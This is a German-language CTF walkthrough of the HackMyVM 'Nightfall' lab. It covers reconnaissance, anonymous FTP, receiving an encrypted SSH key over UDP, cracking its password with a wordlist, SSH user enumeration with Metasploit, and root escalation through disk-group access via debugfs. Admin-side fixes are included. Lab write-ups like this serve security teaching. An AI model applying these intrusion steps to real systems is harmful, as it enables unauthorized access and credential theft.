Nightfall - HackMyVM - Level: Medium - Bericht

Medium

Verwendete Tools

arp-scan
nmap
lftp
cat
nc (netcat)
nano
base64
file
bruteforce-salted-openssl
openssl
ls
chmod
ssh2john
msfconsole
mv
ssh
sudo
id
debugfs

Inhaltsverzeichnis

Reconnaissance

┌──(root㉿cyber)-[~] └─# arp-scan -l
192.168.2.110	08:00:27:86:03:67	PCS Systemtechnik GmbH

Analyse: Der Befehl `arp-scan -l` wird ausgeführt, um aktive Hosts im lokalen Netzwerk zu finden. Es wird ein Host mit der IP 192.168.2.110 und der MAC-Adresse 08:00:27:86:03:67 (zugeordnet zu PCS Systemtechnik GmbH / Oracle VirtualBox) identifiziert.

Bewertung: Erfolgreiche Identifizierung des Zielsystems "Nightfall". Die IP 192.168.2.110 dient als Grundlage für weitere Scans.

Empfehlung (Pentester): Notieren Sie die Ziel-IP. Führen Sie Port-Scans (z.B. mit `nmap`) durch, um offene Dienste zu ermitteln.
Empfehlung (Admin): Netzwerksegmentierung kann die Reichweite von ARP-Scans einschränken. Überwachen Sie ungewöhnliche ARP-Aktivitäten.

┌──(root㉿cyber)-[~] └─# nmap -sS -sC -T5 -A 192.168.2.110 -p-
Starting Nmap 7.93 ( https://nmap.org ) at 2022-11-11 23:47 CET
Nmap scan report for nightfall.hmv (192.168.2.110)
Host is up (0.00011s latency).
Not shown: 65533 closed tcp ports (reset)
PORT   STATE SERVICE VERSION
21/tcp open  ftp     ProFTPD
| ftp-anon: Anonymous FTP login allowed (FTP code 230)
|_-rw-r--r--   1 1001     1001          124 Jun 11  2021 darkness.txt
22/tcp open  ssh     OpenSSH 7.7 (protocol 2.0)
| ssh-hostkey:
|   2048 0c3f13546e6ee656d291ebad9536c68d (RSA)
|   256 9be68e14397a17a38088cd772ec33b1a (ECDSA)
|_  256 855a052a4bc0b236ea8ae28ab2efbcdf (ED25519)
MAC Address: 08:00:27:86:03:67 (Oracle VirtualBox virtual NIC)
Device type: general purpose
Running: Linux 4.X|5.X
OS CPE: cpe:/o:linux:linux_kernel:4 cpe:/o:linux:linux_kernel:5
OS details: Linux 4.15 - 5.6
Network Distance: 1 hop

TRACEROUTE
HOP RTT     ADDRESS
1   0.11 ms nightfall.hmv (192.168.2.110)

OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in XX.XX seconds # Scanzeit nicht im Original

Analyse: Ein umfassender Nmap-Scan identifiziert zwei offene TCP-Ports:

Die OS-Erkennung deutet auf einen Linux-Kernel hin.

Bewertung: Der offene FTP-Server mit erlaubtem anonymen Zugriff ist ein sofortiger Ansatzpunkt. Die Datei `darkness.txt` enthält wahrscheinlich wichtige Hinweise. Der SSH-Port ist ein weiteres potenzielles Ziel, falls Zugangsdaten gefunden werden.

Empfehlung (Pentester): Verbinden Sie sich anonym mit dem FTP-Server (Port 21), laden Sie die Datei `darkness.txt` herunter und analysieren Sie deren Inhalt. Prüfen Sie, ob auf dem FTP-Server Schreibrechte bestehen oder andere Verzeichnisse zugänglich sind.
Empfehlung (Admin): Deaktivieren Sie anonymen FTP-Zugriff, es sei denn, er ist absolut notwendig und explizit sicher konfiguriert (z.B. beschränkter Lesezugriff auf ein bestimmtes Verzeichnis). Stellen Sie sicher, dass keine sensiblen Dateien über anonymen FTP zugänglich sind. Halten Sie ProFTPD und OpenSSH aktuell.

Enumeration & Data Discovery

┌──(root㉿cyber)-[~] └─# lftp -u anonymous, 192.168.2.110
lftp anonymous@192.168.2.110:~> 
lftp anonymous@192.168.2.110:~> ls
-rw-r--r--   1 1001     1001          124 Jun 11  2021 darkness.txt
lftp anonymous@192.168.2.110:/> get darkness.txt
124 Bytes übertragen
lftp anonymous@192.168.2.110:/> exit
[Keine Ausgabe]

Analyse: Mit dem Kommandozeilen-FTP-Client `lftp` wird eine anonyme Verbindung zum FTP-Server auf 192.168.2.110 hergestellt (`-u anonymous,`). Der Befehl `ls` bestätigt die Existenz der Datei `darkness.txt`. Mit `get darkness.txt` wird die Datei erfolgreich heruntergeladen. Anschließend wird die Verbindung mit `exit` beendet.

Bewertung: Erfolgreicher Download der Hinweisdatei über den anonymen FTP-Zugriff.

Empfehlung (Pentester): Analysieren Sie den Inhalt der heruntergeladenen `darkness.txt`-Datei.
Empfehlung (Admin): Anonymen FTP-Zugriff deaktivieren oder stark einschränken.

┌──(root㉿cyber)-[~] └─# cat darkness.txt
In the darkness, there are invisible things happening that can be
seen by taking a closer look at the horizon as a whole

Analyse: Der Inhalt der heruntergeladenen Datei `darkness.txt` wird angezeigt. Er enthält einen kryptischen Hinweis: "In der Dunkelheit geschehen unsichtbare Dinge, die man sehen kann, wenn man den Horizont als Ganzes genauer betrachtet."

Bewertung: Der Hinweis ist vage, aber klassisch für CTF-artige Szenarien. "Unsichtbare Dinge" und "Horizont als Ganzes" deuten oft auf Netzwerkverkehr hin, der nicht sofort offensichtlich ist (z.B. UDP-Broadcasts, Pakete auf ungewöhnlichen Ports, oder Daten, die in Paket-Headern oder Payloads versteckt sind). Es könnte auch auf Steganographie oder versteckte Verzeichnisse/Dateien hindeuten, aber der Netzwerkaspekt ist wahrscheinlicher.

Empfehlung (Pentester): Starten Sie einen Netzwerk-Sniffer (z.B. `tcpdump` oder Wireshark) auf Ihrem Angreifer-System, um jeglichen Traffic vom Zielsystem (192.168.2.110) aufzuzeichnen, insbesondere auf ungewöhnlichen Ports oder Protokollen (wie UDP). Beobachten Sie den Traffic über einen längeren Zeitraum oder während Interaktionen mit dem Ziel.
Empfehlung (Admin): Keine direkte Aktion aufgrund des Hinweises, aber generell sollte Netzwerk-Monitoring implementiert sein, um ungewöhnlichen Traffic zu erkennen.

┌──(root㉿cyber)-[~] └─# lftp -u anonymous, 192.168.2.110
lftp anonymous@192.168.2.110:~> 
lftp anonymous@192.168.2.110:~> pwd
ftp://anonymous:@192.168.2.110
lftp anonymous@192.168.2.110:~> cd /home
cd: Zugriff nicht möglich:550 /home: No such file or directory
lftp anonymous@192.168.2.110:/> put regex
<-- Versuch, eine Datei hochzuladen
put: Zugriff nicht möglich:550 regex: Operation not permitted
lftp anonymous@192.168.2.110:/> exit
[Keine Ausgabe]

Analyse: Es wird erneut eine anonyme FTP-Verbindung hergestellt. `pwd` zeigt das aktuelle Verzeichnis. Der Versuch, in das Verzeichnis `/home` zu wechseln (`cd /home`), scheitert. Ebenso scheitert der Versuch, eine (lokale) Datei namens `regex` hochzuladen (`put regex`) mit einer Berechtigungsfehlermeldung.

Bewertung: Bestätigt, dass der anonyme FTP-Benutzer sehr eingeschränkte Rechte hat: kein Verzeichniswechsel über das Root-Verzeichnis hinaus und keine Schreibrechte.

Empfehlung (Pentester): Der FTP-Server bietet keine weiteren direkten Angriffspunkte. Fokus auf die Analyse des Netzwerkverkehrs gemäß dem Hinweis aus `darkness.txt`.
Empfehlung (Admin): Die Konfiguration des anonymen FTP-Zugriffs scheint hier (abgesehen von der Existenz an sich) korrekt restriktiv zu sein.

┌──(root㉿cyber)-[~] └─# nc -lvnup 24000
listening on [any] 24000 ...
connect to [192.168.2.109] from (UNKNOWN) [192.168.2.110] 49018 <-- Verbindung vom Ziel!

U2FsdGVkX1+s5zqP533uCKtFYoSEEU41j01PSMGlBMiJ2v7ksXTzgHC5Dx2Nzc/uc0RZ6jLviSy
7051GAeGpyxB4r4eYYyoCanUnjYgM1FYcGUvm7kf4YcLIpkuuxaa33kPKLtzqwB9Tt5zven6Mt
[... sehr langer Base64-ähnlicher String ...]
dQRH9RQtj7tSHyvDNxX60Y46W/rEd7p7Y/cUeRnu/SRwHtkI2jmj2prA

Analyse: Basierend auf dem Hinweis wird ein Netcat-Listener auf dem Angreifer-System gestartet, der auf UDP-Pakete (`-u`) auf Port 24000 lauscht (`-l` listen, `-v` verbose, `-n` no DNS, `-p` port). Kurz darauf wird eine Verbindung bzw. ein Datenpaket vom Zielsystem (192.168.2.110) empfangen. Der empfangene Inhalt ist ein sehr langer String, der wie Base64 aussieht, aber mit `U2FsdGVkX1+` beginnt, was typisch für mit OpenSSL (insbesondere mit `enc` und einem Passwort) verschlüsselte Daten ist (Salted Format).

Bewertung: Der Hinweis aus `darkness.txt` hat sich bestätigt! Das Zielsystem sendet "unsichtbare" (UDP) Daten auf einem ungewöhnlichen Port. Diese Daten sind nicht nur Base64-kodiert, sondern auch verschlüsselt. Der nächste Schritt ist die Dekodierung und Entschlüsselung.

Empfehlung (Pentester): Kopieren Sie den gesamten empfangenen Datenblock. Speichern Sie ihn in einer Datei (z.B. `base_out`). Dekodieren Sie ihn mit `base64 -d` und speichern Sie das Ergebnis in einer Binärdatei (z.B. `out`). Analysieren Sie die Binärdatei (`file out`) und versuchen Sie, das Passwort für die Entschlüsselung zu knacken (z.B. mit `bruteforce-salted-openssl` oder John the Ripper) und die Daten dann mit `openssl enc -d` zu entschlüsseln.
Empfehlung (Admin): Untersuchen Sie dringend, welcher Prozess auf dem Zielsystem diese verschlüsselten Daten per UDP sendet und warum. Dies ist ein schwerwiegendes Sicherheitsrisiko und deutet auf eine Kompromittierung oder eine extrem unsichere Konfiguration hin.

┌──(root㉿cyber)-[~/Hackingtools/bruteforce-salted-openssl] └─# nano base_out
[Editor geöffnet, Base64-Daten eingefügt und gespeichert]
┌──(root㉿cyber)-[~/Hackingtools/bruteforce-salted-openssl] └─# cat base_out | base64 -d > out
[Keine Ausgabe]
┌──(root㉿cyber)-[~/Hackingtools/bruteforce-salted-openssl] └─# file out
out: openssl enc'd data with salted password

Analyse: Die über Netcat empfangenen Base64-Daten werden in die Datei `base_out` gespeichert. Anschließend werden diese Daten mit `base64 -d` dekodiert und das binäre Ergebnis in die Datei `out` geschrieben. Der `file`-Befehl bestätigt, dass `out` verschlüsselte Daten im OpenSSL-Format mit Salt enthält.

Bewertung: Die Daten wurden erfolgreich vorbereitet. Die Bestätigung durch `file` ist wichtig, um das richtige Werkzeug für das Knacken des Passworts auszuwählen.

Empfehlung (Pentester): Verwenden Sie ein spezialisiertes Tool wie `bruteforce-salted-openssl` oder `john` (mit `openssl2john`), um das Passwort für die Datei `out` zu knacken. Verwenden Sie gängige Wortlisten wie `rockyou.txt`.
Empfehlung (Admin): Keine direkte Aktion.

┌──(root㉿cyber)-[~/Hackingtools/bruteforce-salted-openssl] └─# bruteforce-salted-openssl -t 6 -f /usr/share/wordlists/rockyou.txt -d sha256 out
Warning: using dictionary mode, ignoring options -b, -e, -l, -m and -s.

Tried passwords: 89957
Tried passwords per second: inf
Last tried password: almendrita

Password candidate: amoajesus <-- Erfolg!

Analyse: Das Tool `bruteforce-salted-openssl` wird verwendet, um das Passwort für die verschlüsselte Datei `out` zu finden. `-t 6` gibt die Anzahl der Threads an. `-f /usr/share/wordlists/rockyou.txt` spezifiziert die Wortliste. `-d sha256` gibt den Hash-Algorithmus an, der vermutlich für die Schlüsselableitung verwendet wird. Das Tool findet erfolgreich das Passwort: `amoajesus`.

Bewertung: Das Passwort für die verschlüsselten Daten wurde erfolgreich geknackt. Dies ermöglicht nun die Entschlüsselung der ursprünglichen Daten.

Empfehlung (Pentester): Verwenden Sie `openssl enc` mit dem gefundenen Passwort `amoajesus`, um die Datei `out` zu entschlüsseln.
Empfehlung (Admin): Wenn sensible Daten verschlüsselt übertragen werden müssen, verwenden Sie starke, nicht erratbare Passwörter und sichere Schlüsselaustauschmechanismen. Vermeiden Sie es, verschlüsselte Daten unaufgefordert zu senden.

┌──(root㉿cyber)-[~/Hackingtools/bruteforce-salted-openssl] └─# openssl enc -aes-256-cbc -d -in out -out decrypt_file
enter AES-256-CBC decryption password:[Passworteingabe: amoajesus]
* WARNING : deprecated key derivation used.
Using -iter or -pbkdf2 would be better.

Analyse: `openssl enc` wird verwendet, um die Datei `out` zu entschlüsseln. `-aes-256-cbc` gibt den Verschlüsselungsalgorithmus an (muss mit dem bei der Verschlüsselung verwendeten übereinstimmen). `-d` steht für Entschlüsselung. `-in out` ist die Eingabedatei, `-out decrypt_file` die Ausgabedatei. Das zuvor geknackte Passwort `amoajesus` wird eingegeben. Die Warnung weist auf eine veraltete Schlüsselableitungsmethode hin, die Entschlüsselung ist aber erfolgreich.

Bewertung: Die verschlüsselten Daten wurden erfolgreich entschlüsselt und in `decrypt_file` gespeichert.

Empfehlung (Pentester): Analysieren Sie den Inhalt der Datei `decrypt_file`, um festzustellen, welche Informationen exfiltriert wurden.
Empfehlung (Admin): Bei Verwendung von OpenSSL zur Verschlüsselung sollten moderne Optionen wie `-pbkdf2` verwendet werden, um die Schlüsselableitung gegen Brute-Force-Angriffe zu stärken.

┌──(root㉿cyber)-[~/Hackingtools/bruteforce-salted-openssl] └─# ll
<-- alias für ls -l oder ls -la
insgesamt 108
[...]
-rw-r--r-- 1 root root  1679 12. Nov 00:18 decrypt_file
[...]
-rw-r--r-- 1 root root  1696 12. Nov 00:15 out
[...]
┌──(root㉿cyber)-[~/Hackingtools/bruteforce-salted-openssl] └─# cat decrypt_file
-----BEGIN RSA PRIVATE KEY-----
MIIEpAIBAAKCAQEA4jJ321FfmddxmAyA+EUtxfMApwY32Zs1THtaWbU4jZ10Mzh8
/nRSWdXECqE5naPeNbUarNMYj2QIm3kn1w5LTB+RGYuZBfJixmD15dnQly5ABG5
[... Langer privater SSH RSA Schlüssel ...]
gnk57/z5ifJLq8MAdpIgfQKBgAPkmmcu6LYQyBUF7/pRE4/Kg4re+R0/XmqEmkit
0BEPKvQkhUJUEkfLCvVN/euRxe61PmkUNKJwI2Zz8toKYCoFMUxwoeMygNxwqMwU
eckacpECgYA8xTCDoliocyinyJ7EdI4J0/pgbHEcwJ3XeZCh+WyDJZGB/6cSGyI8
isAZnRCL0ml2ukrq+mdQ2WjSQLxNZGrM0ePxl5Qvv2Bzeyn2gSKInQlYZ5rAItkR
i3gLubHaM/au4vhu65nmM5ni7R9bUKZ3sXR74+tXlKXsupuwJR0aDA
-----END RSA PRIVATE KEY-----

Analyse: Der Befehl `ll` (oft ein Alias für `ls -l` oder `ls -la`) zeigt die Dateigrößen an. `cat decrypt_file` gibt den Inhalt der entschlüsselten Datei aus. Es handelt sich um einen privaten SSH-RSA-Schlüssel.

Bewertung: Kritischer Fund! Über den UDP-Broadcast wurden die Daten eines privaten SSH-Schlüssels exfiltriert. Dieser Schlüssel gehört wahrscheinlich einem Benutzer auf dem Zielsystem und ermöglicht den SSH-Zugriff.

Empfehlung (Pentester): Speichern Sie den Schlüssel in einer Datei (z.B. `ssh_rsa`), setzen Sie die korrekten Berechtigungen (`chmod 600 ssh_rsa`). Versuchen Sie, mit `ssh2john` einen eventuellen Passphrasen-Hash zu extrahieren (obwohl er wahrscheinlich keine hat). Finden Sie den zugehörigen Benutzernamen heraus (z.B. durch erneute Enumeration, Raten von Standardnamen oder Verwendung von Metasploit zur Benutzerenumeration) und versuchen Sie dann, sich mit dem Schlüssel via SSH anzumelden.
Empfehlung (Admin): Untersuchen Sie, wem dieser Schlüssel gehört und wie er exfiltriert werden konnte. Widerrufen Sie den Schlüssel sofort (entfernen Sie den öffentlichen Teil aus der `authorized_keys`-Datei des betroffenen Benutzers). Beheben Sie die Ursache des UDP-Datenlecks.

┌──(root㉿cyber)-[~/Hackingtools/bruteforce-salted-openssl] └─# nano ssh_rsa
[Editor geöffnet, Key eingefügt und gespeichert]
┌──(root㉿cyber)-[~/Hackingtools/bruteforce-salted-openssl] └─# chmod 600 ssh_rsa
[Keine Ausgabe]
┌──(root㉿cyber)-[~/Hackingtools/bruteforce-salted-openssl] └─# ssh2john ssh_rsa > hash
ssh_rsa has no password!

Analyse: Der entschlüsselte private SSH-Schlüssel wird in die Datei `ssh_rsa` gespeichert und die Berechtigungen werden mit `chmod 600` korrekt gesetzt. Anschließend wird `ssh2john` verwendet, um zu prüfen, ob der Schlüssel mit einer Passphrase geschützt ist und um ggf. den Hash für John the Ripper zu extrahieren. Die Ausgabe "ssh_rsa has no password!" bestätigt, dass der Schlüssel nicht passphrasengeschützt ist.

Bewertung: Der Schlüssel ist einsatzbereit und erfordert keine weitere Passphrase. Es muss nur noch der zugehörige Benutzer gefunden werden.

Empfehlung (Pentester): Führen Sie SSH-Username-Enumeration durch (z.B. mit Metasploit oder anderen Tools), um den Benutzer zu finden, dem dieser Schlüssel gehört.
Empfehlung (Admin): Keine direkte Aktion.

msf6 > search ssh enum user
Matching Modules
   #  Name                                           Disclosure Date  Rank    Check  Description
   -  ----                                           ---------------  ----    -----  -----------
[...]
   3  auxiliary/scanner/ssh/ssh_enumusers                             normal  No     SSH Username Enumeration
[...]
msf6 > use 3
msf6 auxiliary(scanner/ssh/ssh_enumusers) >
msf6 auxiliary(scanner/ssh/ssh_enumusers) > options
Module options (auxiliary/scanner/ssh/ssh_enumusers):
[...]
   RHSTS                         yes       The target host(s)...
   RPORT         22               yes       The target port
   USER_FILE                      no        File containing usernames, one per line
[...]
msf6 auxiliary(scanner/ssh/ssh_enumusers) > set CHECK_FALSE true
CHECK_FALSE => true
msf6 auxiliary(scanner/ssh/ssh_enumusers) > set user_file /usr/share/wordlists/usernames.txt
user_file => /usr/share/wordlists/usernames.txt
msf6 auxiliary(scanner/ssh/ssh_enumusers) > set RHSTS nightfall.hmv
<-- Annahme: nightfall.hmv wurde zu /etc/hosts hinzugefügt
RHSTS => nightfall.hmv
msf6 auxiliary(scanner/ssh/ssh_enumusers) > run
[*] 192.168.2.110:22 - SSH - Using malformed packet technique
[*] 192.168.2.110:22 - SSH - Checking for false positives
[*] 192.168.2.110:22 - SSH - Starting scan
[+] 192.168.2.110:22 - SSH - User 'mail' found
[+] 192.168.2.110:22 - SSH - User 'root' found
[+] 192.168.2.110:22 - SSH - User 'news' found
[+] 192.168.2.110:22 - SSH - User 'man' found
[+] 192.168.2.110:22 - SSH - User 'bin' found
[+] 192.168.2.110:22 - SSH - User 'games' found
[+] 192.168.2.110:22 - SSH - User 'abraham' found
[*] Scanned 1 of 1 hosts (100% complete)
[*] Auxiliary module execution completed

Analyse: Das Metasploit Framework (`msfconsole`) wird gestartet. Das Modul `auxiliary/scanner/ssh/ssh_enumusers` wird geladen und konfiguriert, um gültige Benutzernamen auf dem SSH-Server des Ziels (`nightfall.hmv` / `192.168.2.110`) zu finden. Es verwendet eine Wortliste (`usernames.txt`) und die "Malformed Packet"-Technik. Der Scan identifiziert mehrere Systembenutzer sowie einen Nicht-Standard-Benutzer: `abraham`.

Bewertung: Erfolgreiche Benutzerenumeration. Der Benutzer `abraham` ist der wahrscheinlichste Kandidat für den zuvor gefundenen SSH-Schlüssel.

Empfehlung (Pentester): Versuchen Sie, sich mit dem privaten Schlüssel (`ssh_rsa`) als Benutzer `abraham` via SSH am Zielsystem anzumelden.
Empfehlung (Admin): Konfigurieren Sie den SSH-Server so, dass Benutzerenumeration erschwert wird (z.B. durch Verzögerungen oder generische Fehlermeldungen, obwohl dies oft nur begrenzte Wirkung hat). Vermeiden Sie leicht erratbare Benutzernamen.

Initial Access

┌──(root㉿cyber)-[~] └─# mv /root/Hackingtools/bruteforce-salted-openssl/ssh_rsa .
[Keine Ausgabe]
┌──(root㉿cyber)-[~] └─# ssh -i ssh_rsa abraham@nightfall.hmv
Last login: Sun Jun 20 11:36:51 2021 from 192.168.0.28
abraham@nightfall:~$ # Login erfolgreich!

Analyse: Der zuvor vorbereitete private SSH-Schlüssel (`ssh_rsa`) wird in das aktuelle Verzeichnis verschoben (dieser Schritt ist optional, der Pfad könnte auch direkt im `ssh`-Befehl angegeben werden). Anschließend wird mit `ssh -i ssh_rsa abraham@nightfall.hmv` versucht, sich als Benutzer `abraham` mit dem Schlüssel anzumelden.

Bewertung: Initial Access erfolgreich! Die Kombination aus exfiltriertem Schlüssel und enumeriertem Benutzernamen ermöglicht den Zugang zum System als Benutzer `abraham`.

Empfehlung (Pentester): Beginnen Sie mit der Enumeration als Benutzer `abraham`. Suchen Sie nach `sudo`-Rechten, SUID-Binaries, Konfigurationsdateien, Cronjobs und anderen Hinweisen für die Privilege Escalation. Suchen Sie die User-Flag (`user.txt`).
Empfehlung (Admin): Untersuchen, wie der private Schlüssel von `abraham` kompromittiert werden konnte (UDP-Leak). Schlüssel widerrufen. Ursache des Leaks beheben.

abraham@nightfall:~$ sudo -l
-bash: sudo: command not found
abraham@nightfall:~$ cat user.txt
c02546146dfcf2bec351c4fece2dec21
abraham@nightfall:~$ cat door.txt
U2FsdGVkX1+s5zqP533uCKtFYoSEEU41j01PSMGlBMiJ2v7ksXTzgHC5Dx2Nzc/uc0RZ6jLviSy
[... Derselbe Base64-Blob wie zuvor ...]
dQRH9RQtj7tSHyvDNxX60Y46W/rEd7p7Y/cUeRnu/SRwHtkI2jmj2prA

Analyse: Als Benutzer `abraham` wird versucht, `sudo -l` auszuführen, was fehlschlägt, da `sudo` nicht im Pfad ist oder nicht installiert ist. Die Datei `user.txt` wird gefunden und enthält die User-Flag. Die Datei `door.txt` enthält denselben verschlüsselten Base64-Blob, der bereits über UDP empfangen wurde.

Bewertung: Der Benutzer `abraham` hat keine `sudo`-Rechte. Die User-Flag wurde gefunden. Die Datei `door.txt` liefert keine neuen Informationen.

Empfehlung (Pentester): Suchen Sie nach anderen Eskalationsvektoren: SUID/SGID-Binaries, Kernel-Exploits (Version prüfen!), Fehlkonfigurationen von Diensten, schreibbare sensible Dateien/Verzeichnisse, Cronjobs.
Empfehlung (Admin): Keine direkte Aktion.

Proof of Concept: Privilege Escalation via debugfs (Disk Group Membership)

Kurzbeschreibung: Der Benutzer `abraham` ist Mitglied der Systemgruppe `disk`. Diese Gruppenzugehörigkeit gewährt oft direkten Lese- und Schreibzugriff auf Block-Devices (Festplattenpartitionen) wie `/dev/sda1`. Das Werkzeug `debugfs` ist ein Dateisystem-Debugger für ext2/ext3/ext4-Dateisysteme, der es ermöglicht, direkt mit dem Dateisystem auf einem Block-Device zu interagieren, *ohne* die normalen Dateisystemberechtigungen des Betriebssystems zu berücksichtigen. Indem `debugfs` im Schreibmodus (`-w`) auf das Root-Dateisystem (`/dev/sda1`) angewendet wird, kann ein Benutzer mit `disk`-Gruppenrechten beliebige Dateien auf diesem Dateisystem lesen oder sogar modifizieren, selbst wenn er als normaler Benutzer keine Leserechte hätte. Dies schließt sensible Dateien wie `/root/root.txt` oder `/root/.ssh/id_rsa` ein.

Voraussetzungen:

Schritt-für-Schritt Anleitung:

  1. Gruppenzugehörigkeit prüfen: Als Benutzer `abraham` die Gruppenzugehörigkeit prüfen:
    abraham@nightfall:~$ id
    uid=1000(abraham) gid=6(disk) groups=6(disk)

    Bestätigt, dass `abraham` Mitglied der Gruppe `disk` ist.

  2. Root-Dateisystem-Device identifizieren: (Nicht im Log gezeigt, aber oft durch `df -h` oder `lsblk` möglich). Annahme: `/dev/sda1`.
  3. `debugfs` starten: Starten Sie `debugfs` im Schreibmodus für das Root-Device:
    abraham@nightfall:~$ /usr/sbin/debugfs -w /dev/sda1
    debugfs 1.44.5 (15-Dec-2018)
    debugfs:  
  4. Sensible Dateien lesen: Innerhalb der `debugfs`-Shell können nun Befehle wie `cat` verwendet werden, um Dateien zu lesen, auf die `abraham` normalerweise keinen Zugriff hätte:
    debugfs: cat /root/root.txt
    3aa982dd7e61dd66d116dea033e10dc7
    debugfs: cat /root/.ssh/id_rsa
    -----BEGIN RSA PRIVATE KEY-----
    [...]
    -----END RSA PRIVATE KEY-----
  5. `debugfs` beenden: Mit `quit` oder Strg+D.
  6. SSH als Root (nach Key-Extraktion): Speichern Sie den extrahierten Root-SSH-Schlüssel auf dem Angreifer-System, setzen Sie die Berechtigungen und melden Sie sich als `root` an.
    ┌──(root㉿cyber)-[~] └─# ssh -i rootrsa root@192.168.2.110
    [...]
    root@nightfall:~# # Root-Zugriff

Erwartetes Ergebnis: Die Fähigkeit, beliebige Dateien auf dem Root-Dateisystem zu lesen und potenziell zu schreiben, was zur Extraktion von Root-Credentials (SSH-Key) und somit zur vollständigen Systemübernahme führt.

Beweismittel: Der erfolgreich aus `debugfs` ausgelesene Inhalt von `/root/root.txt` und `/root/.ssh/id_rsa`, sowie der anschließende erfolgreiche SSH-Login als `root`.

Risikobewertung: Sehr Hoch. Die Mitgliedschaft in der `disk`-Gruppe ist quasi gleichbedeutend mit Root-Rechten auf vielen Systemen, da sie den direkten Zugriff auf Dateisystemdaten ermöglicht und Betriebssystem-Berechtigungen umgeht.

Empfehlungen zur Behebung:

Privilege Escalation

abraham@nightfall:~$ id
uid=1000(abraham) gid=6(disk) groups=6(disk)

Analyse: Der `id`-Befehl wird ausgeführt, um die Benutzer-, Gruppen- und Gruppenzugehörigkeiten des aktuellen Benutzers (`abraham`) anzuzeigen. Entscheidend ist die Mitgliedschaft in der Gruppe `disk` (gid=6).

Bewertung: Dies ist der Schlüssel zur Privilege Escalation. Die Mitgliedschaft in der `disk`-Gruppe erlaubt oft direkten Zugriff auf Block-Devices (Festplattenpartitionen).

Empfehlung (Pentester): Nutzen Sie Tools wie `debugfs`, um auf das Dateisystem des Root-Devices (z.B. `/dev/sda1`) zuzugreifen und sensible Dateien direkt zu lesen, wobei die normalen Dateisystemberechtigungen umgangen werden.
Empfehlung (Admin): Entfernen Sie Benutzer aus der `disk`-Gruppe, wenn sie diese Rechte nicht zwingend benötigen. Diese Gruppe gewährt extrem hohe Privilegien.

abraham@nightfall:~$ /usr/sbin/debugfs -w /dev/sda1
debugfs 1.44.5 (15-Dec-2018)
debugfs:  
debugfs: cat /root/root.txt
3aa982dd7e61dd66d116dea033e10dc7
debugfs: cat /root/.ssh/id_rsa
-----BEGIN RSA PRIVATE KEY-----
MIIEogIBAAKCAQEA3ZsawoC8ZaohGH0R0N1daXr/HtLB1kvtFQlUL93Sy9WLBa
[...]
gnk57/z5ifJLq8MAdpIgfQKBgAPkmmcu6LYQyBUF7/pRE4/Kg4re+R0/XmqEmkit
[...]
Vwp3AoGAbYEphZrDroZr0SvejqlwMVGbuoYav66Tz/Y3Lp8l/71P3l3ldxU4B+
XXVwqgbXMdwnDJ2+zj1Gp/ZQWgm9iKoZJeByk1zg3c2V8Xq3xF0=
-----END RSA PRIVATE KEY-----
debugfs: quit
<-- Impliziertes Beenden

Analyse: Da `abraham` Mitglied der `disk`-Gruppe ist, kann er `debugfs` im Schreibmodus (`-w`) auf das erste Device (`/dev/sda1`, vermutlich das Root-Dateisystem) starten. Innerhalb von `debugfs` werden die normalen Dateisystemberechtigungen umgangen. Mit dem `cat`-Befehl von `debugfs` können die Root-Flag (`/root/root.txt`) und, noch wichtiger, der private SSH-Schlüssel des Root-Benutzers (`/root/.ssh/id_rsa`) gelesen werden.

Bewertung: Erfolgreiche Privilege Escalation durch Ausnutzung der `disk`-Gruppenmitgliedschaft. Der private SSH-Schlüssel des Root-Benutzers wurde kompromittiert.

Empfehlung (Pentester): Kopieren Sie den privaten Root-SSH-Schlüssel, speichern Sie ihn auf Ihrem Angreifer-System, setzen Sie die korrekten Berechtigungen (`chmod 600`) und verwenden Sie ihn, um sich als `root` via SSH anzumelden.
Empfehlung (Admin): Entfernen Sie `abraham` (und andere nicht administrative Benutzer) aus der `disk`-Gruppe. Überprüfen Sie alle Gruppenmitgliedschaften auf übermäßige Berechtigungen.

┌──(root㉿cyber)-[~/Hackingtools/bruteforce-salted-openssl] └─# mv ssh_rsa ~
<-- Unklar, warum dieser Key verschoben wird, vermutlich Verwechslung
[Keine Ausgabe]
┌──(root㉿cyber)-[~/Hackingtools/bruteforce-salted-openssl] └─# nano rootrsa
[Editor geöffnet, Root-Key aus debugfs eingefügt und gespeichert]
┌──(root㉿cyber)-[~/Hackingtools/bruteforce-salted-openssl] └─# chmod 600 rootrsa
[Keine Ausgabe]

Analyse: Auf dem Angreifer-System wird der über `debugfs` extrahierte Root-SSH-Schlüssel in eine Datei namens `rootrsa` gespeichert. Die Berechtigungen werden mit `chmod 600` korrekt gesetzt. (Der `mv ssh_rsa ~`-Befehl scheint hier fehl am Platz zu sein und bezieht sich wahrscheinlich auf den vorherigen Schlüssel von `abraham`).

Bewertung: Der kompromittierte Root-Schlüssel ist nun für den SSH-Login vorbereitet.

Empfehlung (Pentester): Verwenden Sie den Schlüssel `rootrsa`, um sich als `root` via SSH anzumelden.
Empfehlung (Admin): Keine direkte Aktion, außer der Behebung der Ursache (disk group).

┌──(root㉿cyber)-[~/Hackingtools/bruteforce-salted-openssl] └─# ssh -i rootrsa root@192.168.2.110
The authenticity of host '192.168.2.110 (192.168.2.110)' can't be established.
[...]
Are you sure you want to continue connecting (yes/no/[fingerprint])? yes
Warning: Permanently added '192.168.2.110' (ED25519) to the list of known hosts.
Last login: Sun Jun 20 11:42:37 2021 from 192.168.0.28
root@nightfall:~# id <-- Zusätzlicher Befehl zur Bestätigung
uid=0(root) gid=0(root) groups=0(root)
root@nightfall:~# # Root-Zugriff erfolgreich!

Analyse: Mit dem Befehl `ssh -i rootrsa root@192.168.2.110` meldet sich der Angreifer als Benutzer `root` am Zielsystem an und verwendet dabei den zuvor über `debugfs` extrahierten privaten Schlüssel. Der Login ist erfolgreich.

Bewertung: Voller Root-Zugriff auf das System wurde erlangt.

Empfehlung (Pentester): Ziel erreicht. Ggf. Aufräumarbeiten durchführen oder Persistenz einrichten (im Rahmen des Auftrags). Bericht fertigstellen.
Empfehlung (Admin): Widerrufen Sie den kompromittierten Root-SSH-Schlüssel. Beheben Sie die Schwachstelle (Mitgliedschaft in `disk`-Gruppe). Führen Sie eine vollständige Systemprüfung auf weitere Kompromittierungen durch.

Flags

cat user.txt
c02546146dfcf2bec351c4fece2dec21
cat root.txt
3aa982dd7e61dd66d116dea033e10dc7